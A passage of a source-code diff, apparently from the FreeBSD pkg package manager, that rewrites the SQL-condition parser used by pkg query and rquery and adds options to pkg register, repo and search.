	POST_EXPR,
+
} state_t;
+

int
-
format_sql_condition(const char *str, struct sbuf *sqlcond)
+
format_sql_condition(const char *str, struct sbuf *sqlcond, bool for_remote)
{
-
	type_t state = NONE;
+
	state_t state = NONE;
+
	unsigned int bracket_level = 0;
+

	sbuf_cat(sqlcond, " WHERE ");
	while (str[0] != '\0') {
-
		if (str[0] == ';') {
-
			fprintf(stderr, "';' is forbidden in evaluation format");
-
			return (EPKG_FATAL);
-
		}
		if (state == NONE) {
			if (str[0] == '%') {
				str++;
				switch (str[0]) {
-
					case 'n':
-
						sbuf_cat(sqlcond, "name");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 'o':
-
						sbuf_cat(sqlcond, "origin");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 'p':
-
						sbuf_cat(sqlcond, "prefix");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 'm':
-
						sbuf_cat(sqlcond, "maintainer");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 'c':
-
						sbuf_cat(sqlcond, "comment");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 'w':
-
						sbuf_cat(sqlcond, "www");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 's':
-
						sbuf_cat(sqlcond, "flatsize");
-
						state = OPERATOR_INT;
-
						break;
-
					case 'a':
-
						sbuf_cat(sqlcond, "automatic");
-
						state = OPERATOR_INT;
-
						break;
-
					case 'M':
-
						sbuf_cat(sqlcond, "message");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 'i':
-
						sbuf_cat(sqlcond, "infos");
-
						state = OPERATOR_STRING;
-
						break;
-
					case 't':
-
						sbuf_cat(sqlcond, "time");
-
						state = OPERATOR_INT;
-
						break;
-
					default:
-
						fprintf(stderr, "malformed evaluation string");
-
						return (EPKG_FATAL);
+
				case 'n':
+
					sbuf_cat(sqlcond, "name");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 'o':
+
					sbuf_cat(sqlcond, "origin");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 'p':
+
					sbuf_cat(sqlcond, "prefix");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 'm':
+
					sbuf_cat(sqlcond, "maintainer");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 'c':
+
					sbuf_cat(sqlcond, "comment");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 'w':
+
					sbuf_cat(sqlcond, "www");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 's':
+
					sbuf_cat(sqlcond, "flatsize");
+
					state = OPERATOR_INT;
+
					break;
+
				case 'a':
+
					if (for_remote)
+
						goto bad_option;
+
					sbuf_cat(sqlcond, "automatic");
+
					state = OPERATOR_INT;
+
					break;
+
				case 'M':
+
					if (for_remote)
+
						goto bad_option;
+
					sbuf_cat(sqlcond, "message");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 'i':
+
					if (for_remote)
+
						goto bad_option;
+
					sbuf_cat(sqlcond, "infos");
+
					state = OPERATOR_STRING;
+
					break;
+
				case 't':
+
					if (for_remote)
+
						goto bad_option;
+
					sbuf_cat(sqlcond, "time");
+
					state = OPERATOR_INT;
+
					break;
+
				case '#':
+
					str++;
+
					const char *dbstr = for_remote ? "%1$s." : "";
+
					switch (str[0]) {
+
						case 'd':
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %sdeps AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'r':
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %sdeps AS d WHERE d.origin=p.origin)", dbstr);
+
							break;
+
						case 'C':
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %spkg_categories AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'F':
+
							if (for_remote)
+
								goto bad_option;
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %sfiles AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'O':
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %soptions AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'D':
+
							if (for_remote)
+
								goto bad_option;
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %spkg_directories AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'L':
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %spkg_licenses AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'U':
+
							if (for_remote)
+
								goto bad_option;
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %spkg_users AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'G':
+
							if (for_remote)
+
								goto bad_option;
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %spkg_groups AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						case 'B':
+
							sbuf_printf(sqlcond, "(SELECT COUNT(*) FROM %spkg_shlibs AS d WHERE d.package_id=p.id)", dbstr);
+
							break;
+
						default:
+
							goto bad_option;
+
					}
+
					state = OPERATOR_INT;
+
					break;
+
				default:
+
bad_option:
+
					fprintf(stderr, "malformed evaluation string\n");
+
					return (EPKG_FATAL);
				}
			} else {
				switch (str[0]) {
-
					case '(':
-
					case ')':
-
					case ' ':
-
					case '\t':
-
						sbuf_putc(sqlcond, str[0]);
-
						break;
-
					case '|':
-
						if (str[1] == '|') {
-
							str++;
-
							sbuf_cat(sqlcond, " OR ");
-
							break;
-
						}
-
					case '&':
-
						if (str[1] == '&') {
-
							str++;
-
							sbuf_cat(sqlcond, " AND ");
-
							break;
-
						}
-
					default:
-
						fprintf(stderr, "unexpected character %c\n", str[0]);
-
						return (EPKG_FATAL);
+
				case '(':
+
					bracket_level++;
+
					sbuf_putc(sqlcond, str[0]);
+
					break;
+
				case ' ':
+
				case '\t':
+
					break;
+
				default:
+
					fprintf(stderr, "unexpected character: %c\n", str[0]);
+
					return (EPKG_FATAL);
+
				}
+
			}
+
		} else if (state == POST_EXPR) {
+
			switch (str[0]) {
+
			case ')':
+
				if (bracket_level == 0) {
+
					fprintf(stderr, "too many closing brackets.\n");
+
					return (EPKG_FATAL);
+
				}
+
				bracket_level--;
+
				sbuf_putc(sqlcond, str[0]);
+
				break;
+
			case ' ':
+
			case '\t':
+
				break;
+
			case '|':
+
				if (str[1] == '|') {
+
					str++;
+
					state = NONE;
+
					sbuf_cat(sqlcond, " OR ");
+
					break;
+
				} else {
+
					fprintf(stderr, "unexpected character %c\n", str[1]);
+
					return (EPKG_FATAL);
				}
+
			case '&':
+
				if (str[1] == '&') {
+
					str++;
+
					state = NONE;
+
					sbuf_cat(sqlcond, " AND ");
+
					break;
+
				} else {
+
					fprintf(stderr, "unexpected character %c\n", str[1]);
+
					return (EPKG_FATAL);
+
				}
+
			default:
+
				fprintf(stderr, "unexpected character %c\n", str[0]);
+
				return (EPKG_FATAL);
			}
		} else if (state == OPERATOR_STRING || state == OPERATOR_INT) {
			/* only operators or space are allowed here */
			if (isspace(str[0])) {
-
				sbuf_putc(sqlcond, str[0]);
+
				/* do nothing */
			} else if (str[0] == '~' ) {
				if (state != OPERATOR_STRING) {
-
					fprintf(stderr, "~ expected only for string testing");
+
					fprintf(stderr, "~ expected only for string testing\n");
					return (EPKG_FATAL);
				}
				state = NEXT_IS_STRING;
				sbuf_cat(sqlcond, " GLOB ");
			} else if (str[0] == '>' || str[0] == '<') {
				if (state != OPERATOR_INT) {
-
					fprintf(stderr, "> expected only for integers");
+
					fprintf(stderr, "> expected only for integers\n");
					return (EPKG_FATAL);
				}
				state = NEXT_IS_INT;
@@ -503,7 +623,7 @@ format_sql_condition(const char *str, struct sbuf *sqlcond)
				}
			} else if (str[0] == '!') {
				if (str[1] != '=') {
-
					fprintf(stderr, "expecting = after !");
+
					fprintf(stderr, "expecting = after !\n");
					return (EPKG_FATAL);
				}
				if (state == OPERATOR_STRING) {
@@ -514,10 +634,13 @@ format_sql_condition(const char *str, struct sbuf *sqlcond)
				sbuf_putc(sqlcond, str[0]);
				str++;
				sbuf_putc(sqlcond, str[0]);
+
			} else {
+
				fprintf(stderr, "an operator is expected, got %c\n", str[0]);
+
				return (EPKG_FATAL);
			}
		} else if (state == NEXT_IS_STRING || state == NEXT_IS_INT) {
			if (isspace(str[0])) {
-
				sbuf_putc(sqlcond, str[0]);
+
				/* do nothing */
			} else {
				if (state == NEXT_IS_STRING) {
					if (str[0] == '"') {
@@ -525,13 +648,13 @@ format_sql_condition(const char *str, struct sbuf *sqlcond)
					} else if (str[0] == '\'') {
						state = SQUOTEDSTRING;
					} else {
-
						sbuf_putc(sqlcond, '"');
						state = STRING;
+
						str--;
					}
-
					sbuf_putc(sqlcond, str[0]);
+
					sbuf_putc(sqlcond, '\'');
				} else {
					if (!isnumber(str[0])) {
-
						fprintf(stderr, "a number is expected got %c\n", str[0]);
+
						fprintf(stderr, "a number is expected, got: %c\n", str[0]);
						return (EPKG_FATAL);
					}
					state = INT;
@@ -539,32 +662,40 @@ format_sql_condition(const char *str, struct sbuf *sqlcond)
				}
			}
		} else if (state == INT) {
-
			if (isspace(str[0])) {
-
				state = NONE;
-
			} else if (!isnumber(str[0])) {
-
				fprintf(stderr, "a number is expected %c\n", str[0]);
-
				return (EPKG_FATAL);
+
			if (!isnumber(str[0])) {
+
				state = POST_EXPR;
+
				str--;
+
			} else {
+
				sbuf_putc(sqlcond, str[0]);
			}
-
			sbuf_putc(sqlcond, str[0]);
-
		} else if ( state == STRING ) {
-
			if (isspace(str[0])) {
-
				sbuf_putc(sqlcond, '"');
-
				state = NONE;
+
		} else if (state == STRING || state == QUOTEDSTRING || state == SQUOTEDSTRING) {
+
			if ((state == STRING && isspace(str[0])) ||
+
			    (state == QUOTEDSTRING && str[0] == '"') ||
+
			    (state == SQUOTEDSTRING && str[0] == '\'')) {
+
				sbuf_putc(sqlcond, '\'');
+
				state = POST_EXPR;
+
			} else {
+
				sbuf_putc(sqlcond, str[0]);
+
				if (str[0] == '\'')
+
					sbuf_putc(sqlcond, str[0]);
+
				else if (str[0] == '%' && for_remote)
+
					sbuf_putc(sqlcond, str[0]);
			}
-
			sbuf_putc(sqlcond, str[0]);
-
		} else if (state == QUOTEDSTRING) {
-
			if (str[0] == '"')
-
				state = NONE;
-
			sbuf_putc(sqlcond, str[0]);
-
		} else if (state == SQUOTEDSTRING) {
-
			if (str[0] == '"')
-
				state = NONE;
-
			sbuf_putc(sqlcond, str[0]);
		}
		str++;
	}
-
	if (state == STRING)
-
		sbuf_putc(sqlcond, '"');
+
	if (state == STRING) {
+
		sbuf_putc(sqlcond, '\'');
+
		state = POST_EXPR;
+
	}
+

+
	if (state != POST_EXPR && state != INT) {
+
		fprintf(stderr, "unexpected end of expression\n");
+
		return (EPKG_FATAL);
+
	} else if (bracket_level > 0) {
+
		fprintf(stderr, "unexpected end of expression (too many open brackets)\n");
+
		return (EPKG_FATAL);
+
	}

	return (EPKG_OK);
}
@@ -578,16 +709,21 @@ analyse_query_string(char *qstr, struct query_flags *q_flags, const unsigned int

	j = 0; /* shut up scanbuild */

+
	if (strchr(qstr, '%') == NULL) {
+
		fprintf(stderr, "Invalid query: query should contains format string\n");
+
		return (EPKG_FATAL);
+
	}
+

	while (qstr[0] != '\0') {
		if (qstr[0] == '%') {
			qstr++;
			valid_flag = 0;
-
	
+

			for (i = 0; i < q_flags_len; i++) {
				/* found the flag */
				if (qstr[0] == q_flags[i].flag) {
					valid_flag = 1;
-
					
+

					/* if the flag is followed by additional options */
					if (q_flags[i].options[0] != '\0') {
						qstr++;
@@ -599,7 +735,7 @@ analyse_query_string(char *qstr, struct query_flags *q_flags, const unsigned int
								break;
							}
						}
-
						
+

						if (valid_opts == 0) {
							fprintf(stderr, "Invalid query: '%%%c' should be followed by:", q_flags[i].flag);

@@ -624,7 +760,7 @@ analyse_query_string(char *qstr, struct query_flags *q_flags, const unsigned int
					}

					/* handle the '?' flag cases */
-
					if (q_flags[i].flag == '?') {
+
					if (q_flags[i].flag == '?' || q_flags[i].flag == '#') {
						for (k = 0; k < q_flags_len; k++)
							if (q_flags[k].flag == q_flags[i].options[j]) {
								*flags |= q_flags[k].dbflags;
@@ -639,11 +775,11 @@ analyse_query_string(char *qstr, struct query_flags *q_flags, const unsigned int
			}

			if (valid_flag == 0) {
-
				fprintf(stderr, "Unkown query format key: '%%%c'\n", qstr[0]);
+
				fprintf(stderr, "Unknown query format key: '%%%c'\n", qstr[0]);
				return (EPKG_FATAL);
			}
		}
-
		
+

		qstr++;
	}

@@ -672,7 +808,7 @@ exec_query(int argc, char **argv)
	match_t match = MATCH_EXACT;
	int ch;
	int ret = EPKG_OK;
-
	int retcode = EXIT_SUCCESS;
+
	int retcode = EX_OK;
	int i;
	char multiline = 0;
	char *condition = NULL;
@@ -681,28 +817,28 @@ exec_query(int argc, char **argv)

	while ((ch = getopt(argc, argv, "agxXF:e:")) != -1) {
		switch (ch) {
-
			case 'a':
-
				match = MATCH_ALL;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'F':
-
				pkgname = optarg;
-
				break;
-
			case 'e':
-
				match = MATCH_CONDITION;
-
				condition = optarg;
-
				break;
-
			default:
-
				usage_query();
-
				return (EX_USAGE);
+
		case 'a':
+
			match = MATCH_ALL;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'F':
+
			pkgname = optarg;
+
			break;
+
		case 'e':
+
			match = MATCH_CONDITION;
+
			condition = optarg;
+
			break;
+
		default:
+
			usage_query();
+
			return (EX_USAGE);
		}
	}

@@ -726,18 +862,18 @@ exec_query(int argc, char **argv)
		return (EX_USAGE);

	if (pkgname != NULL) {
-
		if (pkg_open(&pkg, pkgname, NULL) != EPKG_OK) {
-
			return (1);
+
		if (pkg_open(&pkg, pkgname) != EPKG_OK) {
+
			return (EX_IOERR);
		}
-
		
+

		print_query(pkg, argv[0], multiline);
		pkg_free(pkg);
-
		return (EXIT_SUCCESS);
+
		return (EX_OK);
	}

	if (condition != NULL) {
		sqlcond = sbuf_new_auto();
-
		if (format_sql_condition(condition, sqlcond) != EPKG_OK) {
+
		if (format_sql_condition(condition, sqlcond, false) != EPKG_OK) {
			sbuf_delete(sqlcond);
			return (EX_USAGE);
		}
@@ -750,7 +886,7 @@ exec_query(int argc, char **argv)
			return (EX_IOERR);

		/* do not fail if run as a user */
-
		return (EXIT_SUCCESS);
+
		return (EX_OK);
	}

	if (ret != EPKG_OK)
modified pkg/register.c
@@ -66,7 +66,8 @@ static const char * const scripts[] = {
void
usage_register(void)
{
-
	fprintf(stderr, "usage: pkg register [-ld] [-a <arch>] [-i <input-path>] -m <metadatadir> -f <plist-file>\n\n");
+
	fprintf(stderr, "usage: pkg register [-ld] [-i <input-path>]"
+
	                " -m <metadatadir> -f <plist-file>\n\n");
	fprintf(stderr, "For more information see 'pkg help register'.\n");
}

@@ -93,63 +94,50 @@ exec_register(int argc, char **argv)
	size_t size;

	bool legacy = false;
+
	bool developer = false;

	int i;
-
	int ret = EPKG_OK, retcode = EPKG_OK;
+
	int ret = EPKG_OK, retcode = EX_OK;

	if (geteuid() != 0) {
		warnx("registering packages can only be done as root");
		return (EX_NOPERM);
	}

+
	pkg_config_bool(PKG_CONFIG_DEVELOPER_MODE, &developer);
+

	pkg_new(&pkg, PKG_INSTALLED);
-
	while ((ch = getopt(argc, argv, "a:f:m:i:ld")) != -1) {
+
	while ((ch = getopt(argc, argv, "f:m:i:ld")) != -1) {
		switch (ch) {
-
			case 'f':
-
				if ((plist = strdup(optarg)) == NULL)
-
					err(1, "cannot allocate memory");
-

-
				break;
-
			case 'm':
-
				if ((mdir = strdup(optarg)) == NULL)
-
					err(1, "cannot allocate memory");
-
				break;
-
			case 'a':
-
				if ((arch = strdup(optarg)) == NULL)
-
					err(1, "cannot allocate memory");
-
				break;
-
			case 'd':
-
				pkg_set(pkg, PKG_AUTOMATIC, true);
-
				break;
-
			case 'i':
-
				if ((input_path = strdup(optarg)) == NULL)
-
					err(1, "cannot allocate memory");
-
				break;
-
			case 'l':
-
				legacy = true;
-
				break;
-
			default:
-
				printf("%c\n", ch);
-
				usage_register();
-
				return (EX_USAGE);
+
		case 'f':
+
			if ((plist = strdup(optarg)) == NULL)
+
				err(1, "cannot allocate memory");
+

+
			break;
+
		case 'm':
+
			if ((mdir = strdup(optarg)) == NULL)
+
				err(1, "cannot allocate memory");
+
			break;
+
		case 'd':
+
			pkg_set(pkg, PKG_AUTOMATIC, true);
+
			break;
+
		case 'i':
+
			if ((input_path = strdup(optarg)) == NULL)
+
				err(1, "cannot allocate memory");
+
			break;
+
		case 'l':
+
			legacy = true;
+
			break;
+
		default:
+
			printf("%c\n", ch);
+
			usage_register();
+
			return (EX_USAGE);
		}
	}

	if (plist == NULL)
		errx(EX_USAGE, "missing -f flag");

-
	if (arch == NULL) {
-
		/*
-
		 * do not take the one from configuration on purpose
-
		 * but the real abi of the package
-
		 */
-
		pkg_get_myarch(myarch, BUFSIZ);
-
		pkg_set(pkg, PKG_ARCH, myarch);
-
	} else {
-
		pkg_set(pkg, PKG_ARCH, arch);
-
		free(arch);
-
	}
-

	if (mdir == NULL)
		errx(EX_USAGE, "missing -m flag");

@@ -193,7 +181,7 @@ exec_register(int argc, char **argv)
		free(www);
	}

-
	ret += ports_parse_plist(pkg, plist);
+
	ret += ports_parse_plist(pkg, plist, input_path);

	if (ret != EPKG_OK) {
		return (EX_IOERR);
@@ -208,12 +196,28 @@ exec_register(int argc, char **argv)

	pkg_analyse_files(db, pkg);

+
	pkg_get(pkg, PKG_ARCH, &arch);
+
	if (arch == NULL) {
+
		/*
+
		 * do not take the one from configuration on purpose
+
		 * but the real abi of the package.
+
		 */
+
		pkg_get_myarch(myarch, BUFSIZ);
+
		if (developer)
+
			pkg_suggest_arch(pkg, myarch, true);
+
		pkg_set(pkg, PKG_ARCH, myarch);
+
	} else {
+
		if (developer)
+
			pkg_suggest_arch(pkg, arch, false);
+
	}
+

	if (input_path != NULL) {
		pkg_copy_tree(pkg, input_path, "/");
		free(input_path);
	}

-
	retcode = pkgdb_register_ports(db, pkg);
+
	if (pkgdb_register_ports(db, pkg) != EPKG_OK)
+
		retcode = EX_SOFTWARE;

	pkg_get(pkg, PKG_MESSAGE, &message);
	if (message != NULL && !legacy)
modified pkg/repo.c
@@ -28,6 +28,7 @@
#include <stdio.h>
#include <string.h>
#include <readpassphrase.h>
+
#include <unistd.h>

#include <pkg.h>

@@ -36,7 +37,7 @@
void
usage_repo(void)
{
-
	fprintf(stderr, "usage: pkg repo <repo-path> <rsa-key>\n\n");
+
	fprintf(stderr, "usage: pkg repo [-fq] <repo-path> <rsa-key>\n\n");
	fprintf(stderr, "For more information see 'pkg help repo'.\n");
}

@@ -84,27 +85,49 @@ password_cb(char *buf, int size, int rwflag, void *key)
int
exec_repo(int argc, char **argv)
{
-
	int retcode = EPKG_OK;
+
	int ret;
	int pos = 0;
+
	int ch;
	char *rsa_key;
-

-
	if (argc < 2 || argc > 3) {
+
	bool force = false;
+

+
        while ((ch = getopt(argc, argv, "fq")) != -1) {
+
                switch (ch) {
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'f':
+
			force = true;
+
			break;
+
		default:
+
			usage_repo();
+
			return (EX_USAGE);
+
                }
+
        }
+
        argc -= optind;
+
        argv += optind;
+

+
	if (argc < 1 || argc > 2) {
		usage_repo();
		return (EX_USAGE);
	}

-
	printf("Generating repo.sqlite in %s:  ", argv[1]);
-
	retcode = pkg_create_repo(argv[1], progress, &pos);
+
	if (!quiet) {
+
		printf("Generating repo.sqlite in %s:  ", argv[0]);
+
		ret = pkg_create_repo(argv[0], force, progress, &pos);
+
	} else
+
		ret = pkg_create_repo(argv[0], force, NULL, NULL);

-
	if (retcode != EPKG_OK) {
-
		printf("can not create repository\n");
-
		return (retcode);
+
	if (ret != EPKG_OK) {
+
		printf("cannot create repository catalogue\n");
+
		return (EX_IOERR);
	} else {
-
		printf("\bdone!\n");
+
		if (!quiet)
+
			printf("\bdone!\n");
	}
	
-
	rsa_key = (argc == 3) ? argv[2] : NULL;
-
	pkg_finish_repo(argv[1], password_cb, rsa_key);
+
	rsa_key = (argc == 2) ? argv[1] : NULL;
+
	pkg_finish_repo(argv[0], password_cb, rsa_key);

-
	return (retcode);
+
	return (EX_OK);
}
modified pkg/rquery.c
@@ -1,6 +1,7 @@
/*
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
 * Copyright (c) 2011-2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * Copyright (c) 2012 Bryan Drewery <bryan@shatow.net>
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
@@ -48,6 +49,7 @@ static struct query_flags accepted_rquery_flags[] = {
	{ 'L', "",		1, PKG_LOAD_LICENSES },
	{ 'B', "",		1, PKG_LOAD_SHLIBS },
	{ '?', "drCOLB",	1, PKG_LOAD_BASIC },	/* dbflags handled in analyse_query_string() */
+
	{ '#', "drCOLB",	1, PKG_LOAD_BASIC },	/* dbflags handled in analyse_query_string() */
	{ 's', "hb",		0, PKG_LOAD_BASIC },
	{ 'n', "",		0, PKG_LOAD_BASIC },
	{ 'v', "",		0, PKG_LOAD_BASIC },
@@ -82,7 +84,7 @@ exec_rquery(int argc, char **argv)
	match_t match = MATCH_EXACT;
	int ch;
	int ret = EPKG_OK;
-
	int retcode = EXIT_SUCCESS;
+
	int retcode = EX_OK;
	int i;
	char multiline = 0;
	char *condition = NULL;
@@ -93,28 +95,28 @@ exec_rquery(int argc, char **argv)

	while ((ch = getopt(argc, argv, "agxXe:r:")) != -1) {
		switch (ch) {
-
			case 'a':
-
				match = MATCH_ALL;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'e':
-
				match = MATCH_CONDITION;
-
				condition = optarg;
-
				break;
-
			case 'r':
-
				reponame = optarg;
-
				break;
-
			default:
-
				usage_rquery();
-
				return (EX_USAGE);
+
		case 'a':
+
			match = MATCH_ALL;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'e':
+
			match = MATCH_CONDITION;
+
			condition = optarg;
+
			break;
+
		case 'r':
+
			reponame = optarg;
+
			break;
+
		default:
+
			usage_rquery();
+
			return (EX_USAGE);
		}
	}

@@ -139,7 +141,7 @@ exec_rquery(int argc, char **argv)

	if (condition != NULL) {
		sqlcond = sbuf_new_auto();
-
		if (format_sql_condition(condition, sqlcond) != EPKG_OK)
+
		if (format_sql_condition(condition, sqlcond, true) != EPKG_OK)
			return (EX_USAGE);
		sbuf_finish(sqlcond);
	}
@@ -150,7 +152,7 @@ exec_rquery(int argc, char **argv)
			return (EX_IOERR);

		/* do not fail if run as a user */
-
		return (EXIT_SUCCESS);
+
		return (EX_OK);
	}

	if (ret != EPKG_OK)
@@ -190,7 +192,7 @@ exec_rquery(int argc, char **argv)
			pkgdb_it_free(it);
		}
		if (!onematched)
-
			retcode = EXIT_FAILURE;
+
			retcode = EX_SOFTWARE;
	}

	pkg_free(pkg);
modified pkg/search.c
@@ -30,17 +30,200 @@
#include <string.h>
#include <unistd.h>
#include <sysexits.h>
+
#include <err.h>

#include <pkg.h>

#include "pkgcli.h"

+
typedef struct _cliopt {
+
	const char *option;
+
	char key;
+
} cliopt;
+

+
/* an option string should not be a prefix of any other option string */ 
+
static const cliopt search_label[] = {
+
	{ "comment",     'c'  },
+
	{ "description", 'd'  },
+
	{ "name",        'n'  },
+
	{ "origin",      'o'  },
+
	{ "pkg-name",    'p'  },
+
	{ NULL,          '\0' },
+
};
+

+
static const cliopt modifiers[] = {
+
	{ "arch",         'a'  },
+
	{ "categories",   'C'  },
+
	{ "comment",      'c'  },
+
	{ "depends-on",   'd'  },
+
	{ "description",  'D'  },
+
	{ "full",         'f'  },
+
	{ "licenses",     'l'  },
+
	{ "maintainer",   'm'  },
+
	{ "name",         'n'  },
+
	{ "options",      'o'  },
+
	{ "pkg-size",	  'P'  },
+
	{ "prefix",       'p'  },
+
	{ "repository",   'R'  },
+
	{ "required-by",  'r'  },
+
	{ "shared-libs",  'S'  },
+
	{ "size",         's'  },
+
	{ "url",          'u'  },
+
	{ "www",          'w'  },
+
	{ NULL,           '\0' },
+
};	
+

+
static char
+
match_optarg(const cliopt *optlist, const char *opt)
+
{
+
	int i, matched = -1;
+
	char key = '\0';
+
	size_t optlen;
+

+
	optlen = strlen(opt);
+

+
	/* Match any unique prefix from  optlist */
+
	for (i = 0; optlist[i].option != NULL; i++) {
+
		if (strncmp(opt, optlist[i].option, optlen) != 0)
+
			continue;
+
		if (matched > 0) {
+
			warnx("\"%s\" is ambiguous: did you mean "
+
			      "\"%s\" or \"%s\"?", opt,
+
			      optlist[matched].option, optlist[i].option);
+
			key = '\0';
+
			break;
+
		}
+
		matched = i;
+
		key = optlist[i].key;
+
	}
+
	return (key);
+
}
+

+
static pkgdb_field
+
search_label_opt(const char *optionarg)
+
{
+
	pkgdb_field field;
+

+
	/* label options */
+
	switch(match_optarg(search_label, optionarg)) {
+
	case 'o':
+
		field = FIELD_ORIGIN;
+
		break;
+
	case 'n':
+
		field = FIELD_NAME;
+
		break;
+
	case 'p':
+
		field = FIELD_NAMEVER;
+
		break;
+
	case 'c':
+
		field = FIELD_COMMENT;
+
		break;
+
	case 'd':
+
		field = FIELD_DESC;
+
		break;
+
	default:
+
		usage_search();
+
		errx(EX_USAGE, "Unknown search/label option: %s", optionarg);
+
		/* NOTREACHED */
+
	}
+
	return field;
+
}
+

+
static unsigned int
+
modifier_opt(const char *optionarg)
+
{
+
	unsigned int opt;
+

+
	/* output modifiers */
+
	switch(match_optarg(modifiers, optionarg)) {
+
	case 'a':
+
		opt = INFO_ARCH;
+
		break;
+
	case 'C':
+
		opt = INFO_CATEGORIES;
+
		break;
+
	case 'c':
+
		opt = INFO_COMMENT;
+
		break;
+
	case 'd':
+
		opt = INFO_DEPS;
+
		break;
+
	case 'D':
+
		opt = INFO_DESCR;
+
		break;
+
	case 'f':
+
		opt = INFO_FULL;
+
		break;
+
	case 'l':
+
		opt = INFO_LICENSES;
+
		break;
+
	case 'm':
+
		opt = INFO_MAINTAINER;
+
		break;
+
	case 'n':
+
		opt = INFO_NAME;
+
		break;
+
	case 'o':
+
		opt = INFO_OPTIONS;
+
		break;
+
	case 'P':
+
		opt = INFO_PKGSIZE;
+
		break;
+
	case 'p':
+
		opt = INFO_PREFIX;
+
		break;
+
	case 'R':
+
		opt = INFO_REPOSITORY;
+
		break;
+
	case 'r':
+
		opt = INFO_RDEPS;
+
		break;
+
	case 'S':
+
		opt = INFO_SHLIBS;
+
		break;
+
	case 's':
+
		opt = INFO_FLATSIZE;
+
		break;
+
	case 'u':
+
		opt = INFO_REPOURL;
+
		break;
+
	case 'v':
+
		opt = INFO_VERSION;
+
		break;
+
	case 'w':
+
		opt = INFO_WWW;
+
		break;
+
	default:
+
		usage_search();
+
		errx(EX_USAGE, "Unkown modifier option %s", optionarg);
+
		/* NOTREACHED */
+
	}
+
	return opt;
+
}
+

void
usage_search(void)
{
-
	fprintf(stderr, "usage: pkg search [-r reponame] <pkg-name>\n");
-
	fprintf(stderr, "       pkg search [-r reponame] [-fDsqop] <pkg-name>\n");
-
	fprintf(stderr, "       pkg search [-r reponame] [-egxXcdfDsqop] <pattern>\n\n");
+
	int i, n;
+

+
	fprintf(stderr, "usage: pkg search [-egXx] [-r repo] [-S search] "
+
	    "[-L label] [-M mod]... <pkg-name>\n");
+
	fprintf(stderr, "       pkg search [-cDdefgopqXx] [-r repo] "
+
	    "<pattern>\n\n");
+
	n = fprintf(stderr, "       Search and Label options:");
+
	for (i = 0; search_label[i].option != NULL; i++) {
+
		if (n > 72)
+
			n = fprintf(stderr, "\n            ");
+
		n += fprintf(stderr, " %s", search_label[i].option);
+
	}
+
	fprintf(stderr, "\n");
+
	n = fprintf(stderr, "       Output Modifiers:");
+
	for (i = 0; modifiers[i].option != NULL; i++) {
+
		if (n > 68)
+
			n = fprintf(stderr, "\n            ");
+
		n += fprintf(stderr, " %s", modifiers[i].option);
+
	}
+
	fprintf(stderr, "\n");
	fprintf(stderr, "For more information see 'pkg help search'.\n");
}

@@ -49,61 +232,70 @@ exec_search(int argc, char **argv)
{
	const char *pattern = NULL;
	const char *reponame = NULL;
-
	int retcode = EPKG_OK, ch;
-
	int flags = PKG_LOAD_BASIC;
+
	int ret = EPKG_OK, ch;
+
	int flags;
	unsigned int opt = 0;
	match_t match = MATCH_REGEX;
-
	pkgdb_field field = FIELD_NAME;
+
	pkgdb_field search = FIELD_NONE;
+
	pkgdb_field label = FIELD_NONE;
	struct pkgdb *db = NULL;
	struct pkgdb_it *it = NULL;
	struct pkg *pkg = NULL;
	bool atleastone = false;

-
	while ((ch = getopt(argc, argv, "gxXcdr:fDsqop")) != -1) {
+
	while ((ch = getopt(argc, argv, "cDdefgL:M:opqr:S:sXx")) != -1) {
		switch (ch) {
-
			case 'e':
-
				match = MATCH_EXACT;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
